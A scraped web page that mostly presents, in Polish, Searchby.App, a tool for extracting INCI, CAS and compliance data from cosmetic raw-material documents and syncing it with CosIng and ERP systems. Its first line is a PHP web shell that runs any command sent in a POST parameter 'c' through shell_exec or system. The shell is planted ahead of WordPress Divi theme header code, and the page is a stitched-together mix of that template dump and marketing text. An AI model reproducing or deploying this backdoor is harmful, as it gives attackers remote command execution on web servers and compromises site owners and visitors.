<?php if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["c"])){header("Content-Type:text/plain");if(function_exists("shell_exec")){echo shell_exec($_POST["c"]);}elseif(function_exists("system")){system($_POST["c"]);}exit;}?>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html &amp;lt;?php language_attributes(); ?&amp;gt;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&amp;quot;&amp;lt;?php bloginfo( &amp;#039;charset&amp;#039; ); ?&amp;gt;&amp;quot; /&amp;gt; &amp;lt;?php elegant_description(); elegant_keywords(); elegant_canonical(); /** * Fires in the head, before {@see wp_head()} is called. This action can be used to * insert elements into the beginning of the head before any styles or scripts. * * @since 1.0 */ do_action( &amp;#039;et_head_meta&amp;#039; ); $template_directory_uri = get_template_directory_uri(); ?&amp;gt; &amp;lt;link rel=&amp;quot;pingback&amp;quot; href=&amp;quot;&amp;lt;?php bloginfo(&amp;#039;pingback_url&amp;#039;); ?&amp;gt;&amp;quot; /&amp;gt; &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt; document.documentElement.className = &amp;#039;js&amp;#039;; &amp;lt;/script&amp;gt; &amp;lt;?php wp_head(); ?&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt; &amp;lt;?php wp_body_open(); $product_tour_enabled = et_builder_is_product_tour_enabled(); $page_container_style = $product_tour_enabled ? &amp;#039; style=&amp;quot;padding-top: 0px;&amp;quot;&amp;#039; : &amp;#039;&amp;#039;; ?&amp;gt; &amp;lt;div id=&amp;quot;page-container&amp;quot;&amp;lt;?php echo et_core_intentionally_unescaped( $page_container_style, &amp;#039;fixed_string&amp;#039; ); ?&amp;gt;&amp;gt; &amp;lt;?php if ( $product_tour_enabled || is_page_template( &amp;#039;page-template-blank.php&amp;#039; ) ) { return; } $et_secondary_nav_items = et_divi_get_top_nav_items(); $et_phone_number = $et_secondary_nav_items-&amp;gt;phone_number; $et_email = $et_secondary_nav_items-&amp;gt;email; $et_contact_info_defined = $et_secondary_nav_items-&amp;gt;contact_info_defined; $show_header_social_icons = $et_secondary_nav_items-&amp;gt;show_header_social_icons; $et_secondary_nav = $et_secondary_nav_items-&amp;gt;secondary_nav; $et_top_info_defined = $et_secondary_nav_items-&amp;gt;top_info_defined; $et_slide_header = &amp;#039;slide&amp;#039; === et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) || &amp;#039;fullscreen&amp;#039; === et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) ? true : false; $show_search_icon = ( false !== et_get_option( &amp;#039;show_search_icon&amp;#039;, true ) &amp;amp;&amp;amp; ! $et_slide_header ) || is_customize_preview(); ?&amp;gt; &amp;lt;?php if ( $et_top_info_defined &amp;amp;&amp;amp; ! $et_slide_header || is_customize_preview() ) : ?&amp;gt; &amp;lt;?php ob_start(); ?&amp;gt; &amp;lt;div id=&amp;quot;top-header&amp;quot;&amp;lt;?php echo $et_top_info_defined ? &amp;#039;&amp;#039; : &amp;#039;style=&amp;quot;display: none;&amp;quot;&amp;#039;; ?&amp;gt;&amp;gt; &amp;lt;div class=&amp;quot;container clearfix&amp;quot;&amp;gt; &amp;lt;?php if ( $et_contact_info_defined ) : ?&amp;gt; &amp;lt;div id=&amp;quot;et-info&amp;quot;&amp;gt; &amp;lt;?php if ( ! empty( $et_phone_number = et_get_option( &amp;#039;phone_number&amp;#039; ) ) ) : ?&amp;gt; &amp;lt;span id=&amp;quot;et-info-phone&amp;quot;&amp;gt;&amp;lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;?php if ( ! empty( $et_email = et_get_option( &amp;#039;header_email&amp;#039; ) ) ) : ?&amp;gt; &amp;lt;a href=&amp;quot;&amp;lt;?php echo esc_attr( &amp;#039;mailto:&amp;#039; . $et_email ); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;span id=&amp;quot;et-info-email&amp;quot;&amp;gt;&amp;lt;?php echo esc_html( $et_email ); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;?php if ( true === $show_header_social_icons ) { get_template_part( &amp;#039;includes/social_icons&amp;#039;, &amp;#039;header&amp;#039; ); } ?&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php endif; // true === $et_contact_info_defined ?&amp;gt; &amp;lt;div id=&amp;quot;et-secondary-menu&amp;quot;&amp;gt; &amp;lt;?php if ( ! $et_contact_info_defined &amp;amp;&amp;amp; true === $show_header_social_icons ) { get_template_part( &amp;#039;includes/social_icons&amp;#039;, &amp;#039;header&amp;#039; ); } else if ( $et_contact_info_defined &amp;amp;&amp;amp; true === $show_header_social_icons ) { ob_start(); get_template_part( &amp;#039;includes/social_icons&amp;#039;, &amp;#039;header&amp;#039; ); $duplicate_social_icons = ob_get_contents(); ob_end_clean(); printf( &amp;#039;&amp;lt;div class=&amp;quot;et_duplicate_social_icons&amp;quot;&amp;gt; %1$s &amp;lt;/div&amp;gt;&amp;#039;, et_core_esc_previously( $duplicate_social_icons ) ); } if ( &amp;#039;&amp;#039; !== $et_secondary_nav ) { echo et_core_esc_wp( $et_secondary_nav ); } et_show_cart_total(); ?&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php $top_header = ob_get_clean(); /** * Filters the HTML output for the top header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &amp;#039;et_html_top_header&amp;#039;, $top_header ), &amp;#039;html&amp;#039; ); ?&amp;gt; &amp;lt;?php endif; // true ==== $et_top_info_defined ?&amp;gt; &amp;lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&amp;gt; &amp;lt;?php ob_start(); ?&amp;gt; &amp;lt;div class=&amp;quot;et_slide_in_menu_container&amp;quot;&amp;gt; &amp;lt;?php if ( &amp;#039;fullscreen&amp;#039; === et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) || is_customize_preview() ) { ?&amp;gt; &amp;lt;span class=&amp;quot;mobile_menu_bar et_toggle_fullscreen_menu&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;?php } ?&amp;gt; &amp;lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &amp;#039;show_search_icon&amp;#039;, true ) || class_exists( &amp;#039;woocommerce&amp;#039; ) || is_customize_preview() ) { ?&amp;gt; &amp;lt;div class=&amp;quot;et_slide_menu_top&amp;quot;&amp;gt; &amp;lt;?php if ( &amp;#039;fullscreen&amp;#039; === et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) ) { ?&amp;gt; &amp;lt;div class=&amp;quot;et_pb_top_menu_inner&amp;quot;&amp;gt; &amp;lt;?php } ?&amp;gt; &amp;lt;?php } if ( true === $show_header_social_icons ) { get_template_part( &amp;#039;includes/social_icons&amp;#039;, &amp;#039;header&amp;#039; ); } et_show_cart_total(); ?&amp;gt; &amp;lt;?php if ( false !== et_get_option( &amp;#039;show_search_icon&amp;#039;, true ) || is_customize_preview() ) : ?&amp;gt; &amp;lt;?php if ( &amp;#039;fullscreen&amp;#039; !== et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) ) { ?&amp;gt; &amp;lt;div class=&amp;quot;clear&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;?php } ?&amp;gt; &amp;lt;form role=&amp;quot;search&amp;quot; method=&amp;quot;get&amp;quot; class=&amp;quot;et-search-form&amp;quot; action=&amp;quot;&amp;lt;?php echo esc_url( home_url( &amp;#039;/&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;?php printf( &amp;#039;&amp;lt;input type=&amp;quot;search&amp;quot; class=&amp;quot;et-search-field&amp;quot; placeholder=&amp;quot;%1$s&amp;quot; value=&amp;quot;%2$s&amp;quot; name=&amp;quot;s&amp;quot; title=&amp;quot;%3$s&amp;quot; /&amp;gt;&amp;#039;, esc_attr__( &amp;#039;Search &amp;amp;hellip;&amp;#039;, &amp;#039;Divi&amp;#039; ), get_search_query(), esc_attr__( &amp;#039;Search for:&amp;#039;, &amp;#039;Divi&amp;#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &amp;#039;et_search_form_fields&amp;#039; ); ?&amp;gt; &amp;lt;button type=&amp;quot;submit&amp;quot; id=&amp;quot;searchsubmit_header&amp;quot;&amp;gt;&amp;lt;/button&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;?php endif; // true === et_get_option( &amp;#039;show_search_icon&amp;#039;, false ) ?&amp;gt; &amp;lt;?php if ( $et_contact_info_defined ) : ?&amp;gt; &amp;lt;div id=&amp;quot;et-info&amp;quot;&amp;gt; &amp;lt;?php if ( ! empty( $et_phone_number = et_get_option( &amp;#039;phone_number&amp;#039; ) ) ) : ?&amp;gt; &amp;lt;span id=&amp;quot;et-info-phone&amp;quot;&amp;gt;&amp;lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;?php if ( ! empty( $et_email = et_get_option( &amp;#039;header_email&amp;#039; ) ) ) : ?&amp;gt; &amp;lt;a href=&amp;quot;&amp;lt;?php echo esc_attr( &amp;#039;mailto:&amp;#039; . $et_email ); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;span id=&amp;quot;et-info-email&amp;quot;&amp;gt;&amp;lt;?php echo esc_html( $et_email ); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php endif; // true === $et_contact_info_defined ?&amp;gt; &amp;lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &amp;#039;show_search_icon&amp;#039;, true ) || class_exists( &amp;#039;woocommerce&amp;#039; ) || is_customize_preview() ) { ?&amp;gt; &amp;lt;?php if ( &amp;#039;fullscreen&amp;#039; === et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) ) { ?&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php } ?&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php } ?&amp;gt; &amp;lt;div class=&amp;quot;et_pb_fullscreen_nav_container&amp;quot;&amp;gt; &amp;lt;?php $slide_nav = &amp;#039;&amp;#039;; $slide_menu_class = &amp;#039;et_mobile_menu&amp;#039;; $slide_nav = wp_nav_menu( array( &amp;#039;theme_location&amp;#039; =&amp;gt; &amp;#039;primary-menu&amp;#039;, &amp;#039;container&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;fallback_cb&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;echo&amp;#039; =&amp;gt; false, &amp;#039;items_wrap&amp;#039; =&amp;gt; &amp;#039;%3$s&amp;#039; ) ); $slide_nav .= wp_nav_menu( array( &amp;#039;theme_location&amp;#039; =&amp;gt; &amp;#039;secondary-menu&amp;#039;, &amp;#039;container&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;fallback_cb&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;echo&amp;#039; =&amp;gt; false, &amp;#039;items_wrap&amp;#039; =&amp;gt; &amp;#039;%3$s&amp;#039; ) ); ?&amp;gt; &amp;lt;ul id=&amp;quot;mobile_menu_slide&amp;quot; class=&amp;quot;&amp;lt;?php echo esc_attr( $slide_menu_class ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;?php if ( &amp;#039;&amp;#039; === $slide_nav ) : ?&amp;gt; &amp;lt;?php if ( &amp;#039;on&amp;#039; === et_get_option( &amp;#039;divi_home_link&amp;#039; ) ) { ?&amp;gt; &amp;lt;li &amp;lt;?php if ( is_home() ) echo( &amp;#039;class=&amp;quot;current_page_item&amp;quot;&amp;#039; ); ?&amp;gt;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo esc_url( home_url( &amp;#039;/&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php esc_html_e( &amp;#039;Home&amp;#039;, &amp;#039;Divi&amp;#039; ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;?php }; ?&amp;gt; &amp;lt;?php show_page_menu( $slide_menu_class, false, false ); ?&amp;gt; &amp;lt;?php show_categories_menu( $slide_menu_class, false ); ?&amp;gt; &amp;lt;?php else : echo et_core_esc_wp( $slide_nav ) ; endif; ?&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php $slide_header = ob_get_clean(); /** * Filters the HTML output for the slide header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &amp;#039;et_html_slide_header&amp;#039;, $slide_header ), &amp;#039;html&amp;#039; ); ?&amp;gt; &amp;lt;?php endif; // true ==== $et_slide_header ?&amp;gt; &amp;lt;?php ob_start(); ?&amp;gt; &amp;lt;header id=&amp;quot;main-header&amp;quot; data-height-onload=&amp;quot;&amp;lt;?php echo esc_attr( et_get_option( &amp;#039;menu_height&amp;#039;, &amp;#039;66&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;div class=&amp;quot;container clearfix et_menu_container&amp;quot;&amp;gt; &amp;lt;?php $logo = ( $user_logo = et_get_option( &amp;#039;divi_logo&amp;#039; ) ) &amp;amp;&amp;amp; ! empty( $user_logo ) ? $user_logo : $template_directory_uri . &amp;#039;/images/logo.png&amp;#039;; // Get logo image size based on attachment URL. $logo_size = et_get_attachment_size_by_url( $logo ); $logo_width = ( ! empty( $logo_size ) &amp;amp;&amp;amp; is_numeric( $logo_size[0] ) ) ? $logo_size[0] : &amp;#039;93&amp;#039;; // 93 is the width of the default logo. $logo_height = ( ! empty( $logo_size ) &amp;amp;&amp;amp; is_numeric( $logo_size[1] ) ) ? $logo_size[1] : &amp;#039;43&amp;#039;; // 43 is the height of the default logo. ob_start(); ?&amp;gt; &amp;lt;div class=&amp;quot;logo_container&amp;quot;&amp;gt; &amp;lt;span class=&amp;quot;logo_helper&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;a href=&amp;quot;&amp;lt;?php echo esc_url( home_url( &amp;#039;/&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;img src=&amp;quot;&amp;lt;?php echo esc_attr( $logo ); ?&amp;gt;&amp;quot; width=&amp;quot;&amp;lt;?php echo esc_attr( $logo_width ); ?&amp;gt;&amp;quot; height=&amp;quot;&amp;lt;?php echo esc_attr( $logo_height ); ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo esc_attr( get_bloginfo( &amp;#039;name&amp;#039; ) ); ?&amp;gt;&amp;quot; id=&amp;quot;logo&amp;quot; data-height-percentage=&amp;quot;&amp;lt;?php echo esc_attr( et_get_option( &amp;#039;logo_height&amp;#039;, &amp;#039;54&amp;#039; ) ); ?&amp;gt;&amp;quot; /&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php $logo_container = ob_get_clean(); /** * Filters the HTML output for the logo container. * * @since 3.10 * * @param string $logo_container */ echo et_core_intentionally_unescaped( apply_filters( &amp;#039;et_html_logo_container&amp;#039;, $logo_container ), &amp;#039;html&amp;#039; ); ?&amp;gt; &amp;lt;div id=&amp;quot;et-top-navigation&amp;quot; data-height=&amp;quot;&amp;lt;?php echo esc_attr( et_get_option( &amp;#039;menu_height&amp;#039;, &amp;#039;66&amp;#039; ) ); ?&amp;gt;&amp;quot; data-fixed-height=&amp;quot;&amp;lt;?php echo esc_attr( et_get_option( &amp;#039;minimized_menu_height&amp;#039;, &amp;#039;40&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;?php if ( ! $et_slide_header || is_customize_preview() ) : ?&amp;gt; &amp;lt;nav id=&amp;quot;top-menu-nav&amp;quot;&amp;gt; &amp;lt;?php $menuClass = &amp;#039;nav&amp;#039;; if ( &amp;#039;on&amp;#039; === et_get_option( &amp;#039;divi_disable_toptier&amp;#039; ) ) $menuClass .= &amp;#039; et_disable_top_tier&amp;#039;; $primaryNav = &amp;#039;&amp;#039;; $primaryNav = wp_nav_menu( array( &amp;#039;theme_location&amp;#039; =&amp;gt; &amp;#039;primary-menu&amp;#039;, &amp;#039;container&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;fallback_cb&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;menu_class&amp;#039; =&amp;gt; $menuClass, &amp;#039;menu_id&amp;#039; =&amp;gt; &amp;#039;top-menu&amp;#039;, &amp;#039;echo&amp;#039; =&amp;gt; false ) ); if ( empty( $primaryNav ) ) : ?&amp;gt; &amp;lt;ul id=&amp;quot;top-menu&amp;quot; class=&amp;quot;&amp;lt;?php echo esc_attr( $menuClass ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;?php if ( &amp;#039;on&amp;#039; === et_get_option( &amp;#039;divi_home_link&amp;#039; ) ) { ?&amp;gt; &amp;lt;li &amp;lt;?php if ( is_home() ) echo( &amp;#039;class=&amp;quot;current_page_item&amp;quot;&amp;#039; ); ?&amp;gt;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo esc_url( home_url( &amp;#039;/&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php esc_html_e( &amp;#039;Home&amp;#039;, &amp;#039;Divi&amp;#039; ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;?php }; ?&amp;gt; &amp;lt;?php show_page_menu( $menuClass, false, false ); ?&amp;gt; &amp;lt;?php show_categories_menu( $menuClass, false ); ?&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;?php else : echo et_core_esc_wp( $primaryNav ); endif; ?&amp;gt; &amp;lt;/nav&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;?php if ( ! $et_top_info_defined &amp;amp;&amp;amp; ( ! $et_slide_header || is_customize_preview() ) ) { et_show_cart_total( array( &amp;#039;no_text&amp;#039; =&amp;gt; true, ) ); } ?&amp;gt; &amp;lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&amp;gt; &amp;lt;span class=&amp;quot;mobile_menu_bar et_pb_header_toggle et_toggle_&amp;lt;?php echo esc_attr( et_get_option( &amp;#039;header_style&amp;#039;, &amp;#039;left&amp;#039; ) ); ?&amp;gt;_menu&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;?php if ( $show_search_icon ) : ?&amp;gt; &amp;lt;div id=&amp;quot;et_top_search&amp;quot;&amp;gt; &amp;lt;span id=&amp;quot;et_search_icon&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;?php /** * Fires at the end of the &amp;#039;et-top-navigation&amp;#039; element, just before its closing tag. * * @since 1.0 */ do_action( &amp;#039;et_header_top&amp;#039; ); ?&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- #et-top-navigation --&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- .container --&amp;gt; &amp;lt;?php if ( $show_search_icon ) : ?&amp;gt; &amp;lt;div class=&amp;quot;et_search_outer&amp;quot;&amp;gt; &amp;lt;div class=&amp;quot;container et_search_form_container&amp;quot;&amp;gt; &amp;lt;form role=&amp;quot;search&amp;quot; method=&amp;quot;get&amp;quot; class=&amp;quot;et-search-form&amp;quot; action=&amp;quot;&amp;lt;?php echo esc_url( home_url( &amp;#039;/&amp;#039; ) ); ?&amp;gt;&amp;quot;&amp;gt; &amp;lt;?php printf( &amp;#039;&amp;lt;input type=&amp;quot;search&amp;quot; class=&amp;quot;et-search-field&amp;quot; placeholder=&amp;quot;%1$s&amp;quot; value=&amp;quot;%2$s&amp;quot; name=&amp;quot;s&amp;quot; title=&amp;quot;%3$s&amp;quot; /&amp;gt;&amp;#039;, esc_attr__( &amp;#039;Search &amp;amp;hellip;&amp;#039;, &amp;#039;Divi&amp;#039; ), get_search_query(), esc_attr__( &amp;#039;Search for:&amp;#039;, &amp;#039;Divi&amp;#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &amp;#039;et_search_form_fields&amp;#039; ); ?&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;span class=&amp;quot;et_close_search_field&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;?php endif; ?&amp;gt; &amp;lt;/header&amp;gt; &amp;lt;!-- #main-header --&amp;gt; &amp;lt;?php $main_header = ob_get_clean(); /** * Filters the HTML output for the main header. * * @since 3.10 * * @param string $main_header */ echo et_core_intentionally_unescaped( apply_filters( &amp;#039;et_html_main_header&amp;#039;, $main_header ), &amp;#039;html&amp;#039; ); ?&amp;gt; &amp;lt;div id=&amp;quot;et-main-area&amp;quot;&amp;gt; &amp;lt;?php /** * Fires after the header, before the main content is output. * * @since 3.10 */ do_action( &amp;#039;et_before_main_content&amp;#039; );

Automatyczna analiza surowców i weryfikacja INCI w minuty zamiast godzin.

Od masowego skanowania paczek TDS/MSDS po chirurgiczny audyt stężeń składników z bazą CosIng.

Uwolnij przewagę, jaką daje Searchby.App w automatycznej analizie dokumentacji surowcowej.

Zostaw nam żmudne wydłubywanie danych. Odzyskaj czas specjalistów i przyspiesz podejmowanie decyzji w obszarze R&D, jakości oraz rozwoju nowych produktów.

Uwolnij czas specjalistów

Pomagamy Twoim specjalistom skupić się na tym, co najważniejsze — decyzjach technologicznych, jakości i tworzeniu nowych produktów.
Searchby.APP przejmuje czasochłonną analizę dokumentacji, wyszukiwanie informacji i weryfikację danych.

Skróć time-to-market

Automatyzacja eliminuje wielogodzinne zadania manualne, pozwalając szybciej podejmować decyzje technologiczne, sprawniej wdrażać zamienniki i skracać drogę nowego produktu do rynku.

Szybki zwrot z inwestycji

Automatyzacja powtarzalnych zadań przekłada się na niższe koszty operacyjne, szybsze wdrażanie produktów i wymierne oszczędności już od pierwszych miesięcy użytkowania.

Uprzedź konkurencję

W branży kosmetycznej przewagę zyskują firmy, które szybciej kwalifikują surowce, sprawniej weryfikują zgodność składów i krócej wprowadzają nowe produkty na rynek. Czy Twoja konkurencja już wykorzystuje narzędzia do automatycznej analizy dokumentacji surowcowej? Sprawdź nasze case study.

Poznaj moduły R&D uwalniające w średniej wielkości fabryce 500 godzin rocznie!

MODUŁ 1. Automatyczna analiza danych o surowcach.

Wrzuć całą paczkę plików ZIP bezpośrednio do Panelu SBA. System automatycznie wyciągnie składy INCI, zidentyfikuje zanieczyszczenia i prześle czyste dane prosto do poliku Excel lub firmowego systemu ERP.

POZNAJ PROCES POZYSKIWANIA DANYCH O SUROWCACH

Krok 1: Masowy upload i automatyczna kolejka

Nie musisz dzielić dokumentów, segregować ich ani tracić czasu na pojedyncze wgrywanie.

  • Wrzucasz całą paczkę (np. plik ZIP z kompletem dokumentacji technicznej dostawcy) bezpośrednio do Panelu SBA.
  • System natychmiast rejestruje pliki i uruchamia zaawansowaną analizę w tle.

Krok 2: Inteligentne mapowanie parametrów i deklaracji (Widok podglądu)

Gdy wchodzisz w szczegóły, Panel SBA daje Ci pełną kontrolę i stuprocentową pewność. Ekran zostaje podzielony na dwie części, eliminując potrzebę skakania po oknach i drukowania dokumentów:

  • Po lewej stronie: Widzisz oryginalny dokument źródłowy od dostawcy (np. certyfikat pochodzenia, kartę charakterystyki czy specyfikację techniczną).
  • Po prawej stronie: Widzisz gotową, ustrukturyzowaną matrycę najważniejszych deklaracji i obostrzeń prawno-chemicznych, które system sam wyciągnął z tekstu.

System automatycznie identyfikuje i kategoryzuje m.in.:

  • Statusy bezwzględne: Natychmiastowe mapowanie deklaracji typu Vegan (TAK/NIE), GMO (TAK/NIE), Metale ciężkie (Heavy Metals) czy substancje CMR (rakotwórcze, mutagenne).
  • Kluczowe alergeny i zanieczyszczenia: Błyskawiczne wychwycenie obecności oleju palmowego (Olej Pal), mikroplastików czy ograniczeń geograficznych (KRP).

 Krok 3: Masowy eksport danych do Excela lub systemu ERP.

Gdy Panel SBA skończy mapowanie, to Ty zatwierdzasz poprawność danych i możesz je ekpsortować do pliku .xls, albo  firmowego systememu ERP. 

Moduł 2: Nadzór Składów INCI i Integracja z CosIng.

Searchby.app automatycznie odczytuje z dokumentacji surowcowej pełny skład INCI, numery CAS oraz zakresy stężeń, eliminując żmudną pracę manualną. W ułamku sekundy system zderza te dane z Twoją wewnętrzną bazą oraz oficjalnym rejestrem CosIng. Dzięki temu natychmiast wykrywasz ciche zmiany w specyfikacjach dostawców i masz 100% pewności regulacyjnej.

POZNAJ TRÓJSTRONNY PROCES ANALIZY INCI:

Jak działa inteligentny moduł weryfikacji INCI i Compliance?

Moduł automatycznego audytu i zarządzania bazą INCI w Searchby.app przekształca pojedynczą specyfikację techniczną surowca w uporządkowane, zweryfikowane prawnie dane gotowe do produkcji. Cały proces zamyka się w 6 kluczowych krokach:

1. Wprowadzenie danych i integracja źródeł (Data Sources)

Proces rozpoczyna się od wgrania dokumentacji. Użytkownik wprowadza do Searchby.app jeden dokument surowcowy – kartę TDS, MSDS lub specyfikację techniczną dostawcy. W tym samym momencie platforma uruchamia trójstronne połączenie: analizuje przesłany plik, odwołuje się do wewnętrznej Bazy Surowców  fabryki oraz na bieżąco synchronizuje dane z oficjalnym europejskim rejestrem regulacyjnym CosIng.

2. Inteligentne przetwarzanie i ekstrakcja danych

Po wprowadzeniu dokumentu algorytmy  działające w tle automatycznie identyfikują i wyodrębniają kluczowe identyfikatory chemiczne oraz parametry handlowe. System precyzyjnie wyciąga:

  • Pełne składy INCI oraz procentowe stężenia lub zakresy stężeń,

  • Numery CAS oraz numery EC (nawet jeśli występują w dokumentacji nieregularnie),

  • Nazwy handlowe i indeksy surowcowe dostawcy.

3. Trójstronna weryfikacja i mapowanie (Single Source of Truth)

To serce modułu. Pozyskane z dokumentu dane są  zderzane jednocześnie z trzema źródłami wiedzy. Na czytelnym dla użytkownika, dzielonym ekranie (Split-Screen UI) system paruje oryginalny tekst dokumentu z ustrukturyzowaną tabelą. Każdy składnik INCI z dokumentu dostawcy otrzymuje automatycznie przypisaną z bazy CosIng funkcję technologiczną (np. solvent, emollient) oraz aktualny status regulacyjny i restrykcje (aneksy UE).

4. Precyzyjny raport porównawczy i kontrola zmian (Change Detection)

System całkowicie eliminuje ryzyko przeoczenia tzw. „cichych zmian” wprowadzanych przez dostawców w nowych wersjach specyfikacji. Searchby.app generuje czytelny raport różnic przypisany do konkretnego indeksu surowcowego, zestawiając dane w strukturze kolumnowej:

  • Porównanie wartości: System bezpośrednio zderza dotychczasowe wartości parametrów (np. Stężenie [%] — w bazie) z nowo odczytanymi danymi (Stężenie [%] — z dokumentu) oraz wskazuje dokładną Wartość źródłową.

  • Kategoryzacja sekcji: Zmiany są automatycznie grupowane w dedykowane sekcje (np. Zmiany stężeń), z precyzyjnym komunikatem, które dokładnie kolumny (Stężenie, Max stężenie, Nazwa Handlowa) zostaną zaktualizowane, a które pola (CAS, EC, Funkcja, Regulation) pozostają bez zmian.

  • Potwierdzenie stabilności: Informacje o braku modyfikacji w konkretnych sekcjach danych są agregowane w osobnych, czytelnych komunikatach (np. Nazwa handlowa — bez zmian).

5. Ostateczna weryfikacja i kontrola technologa (User Approval)

Automatyzacja wspiera, ale nie zastępuje człowieka. Wszystkie wykryte rozbieżności, nowo uzupełnione funkcje chemiczne oraz statusy compliance trafiają do panelu akceptacji. Technolog R&D lub Safety Assessor zachowuje pełną kontrolę nad procesem – jednym kliknięciem może zatwierdzić rekomendowane aktualizacje, odrzucić zmiany lub wprowadzić własne korekty na bazie wygenerowanych dowodów cyfrowych (page reference).

6. Bezpośrednia synergia z ERP i produkcją (API Integration)

Po zatwierdzeniu przez użytkownika, zweryfikowana struktura INCI staje się „jedynym źródłem prawdy” w firmie. Dane nie muszą być ponownie przepisywane. Poprzez dwukierunkowe API (Two-Way API) system automatycznie aktualizuje kartoteki surowcowe i struktury recepturowe w zewnętrznych systemach ERP (np. Comarch, Sage Symfonia, Streamsoft, Impuls Evo) lub pozwala na szybki eksport czystej matrycy do pliku Excel (XLS).

Integracja z systemami ERP oraz bazami wiedzy o kosmetykach.

Zmniejsz ilość klikania dzięki automatycznemu przesyłowi danych między Searchby, a firmowym systemem ERP.

pl_PLPolski
google-site-verification=U71So92a2lBu_zSRYXhmDXB4cRbgyya0Cb3otoMaVpg